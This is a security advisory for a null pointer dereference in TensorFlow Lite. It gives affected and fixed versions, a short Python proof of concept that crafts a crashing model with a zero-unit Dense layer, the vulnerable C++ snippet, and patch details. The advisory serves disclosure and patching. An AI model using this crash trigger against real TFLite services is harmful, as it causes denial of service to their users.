GHSA-vcjj-9vg7-vf68 Null pointer dereference in TFLite

• PyPI tensorflow: < 2.3.4 → fixed in 2.3.4 • PyPI tensorflow: >= 2.4.0, < 2.4.3 → fixed in 2.4.3 • PyPI tensorflow: >= 2.5.0, < 2.5.1 → fixed in 2.5.1 • PyPI tensorflow-cpu: >= 2.5.0, < 2.5.1 → fixed in 2.5.1 • PyPI tensorflow-cpu: >= 2.4.0, < 2.4.3 → fixed in 2.4.3 • PyPI tensorflow-cpu: < 2.3.4 → fixed in 2.3.4 • PyPI tensorflow-gpu: < 2.3.4 → fixed in 2.3.4 • PyPI tensorflow-gpu: >= 2.4.0, < 2.4.3 → fixed in 2.4.3 • PyPI tensorflow-gpu: >= 2.5.0, < 2.5.1 → fixed in 2.5.1

Impact An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service: ```python import tensorflow as tf model = tf.keras.models.Sequential() model.add(tf.keras.Input(shape=(1, 2, 3))) model.add(tf.keras.layers.Dense(0, activation='relu')) converter = tf.lite.TFLiteConverter.from_keras_model(model) tflite_model = converter.convert() interpreter = tf.lite.Interpreter(model_content=tflite_model) interpreter.allocate_tensors() interpreter.invoke() ``` The implementation unconditionally dereferences a pointer. ```cc if (y4 > 1) { // ... } else { for (int i0 = 0; i0 < y0; ++i0) { const T* input2_data_ptr = nullptr; for (int i1 = 0; i1 < y1; ++i1) { input2_data_ptr = input2_data_reset; for (int i2 = 0; i2 < y2; ++i2) { scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr, output_data_ptr); } } } } ``` Patches We have patched the issue in GitHub commit 15691e456c7dc9bd6be203b09765b063bf4a380c. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.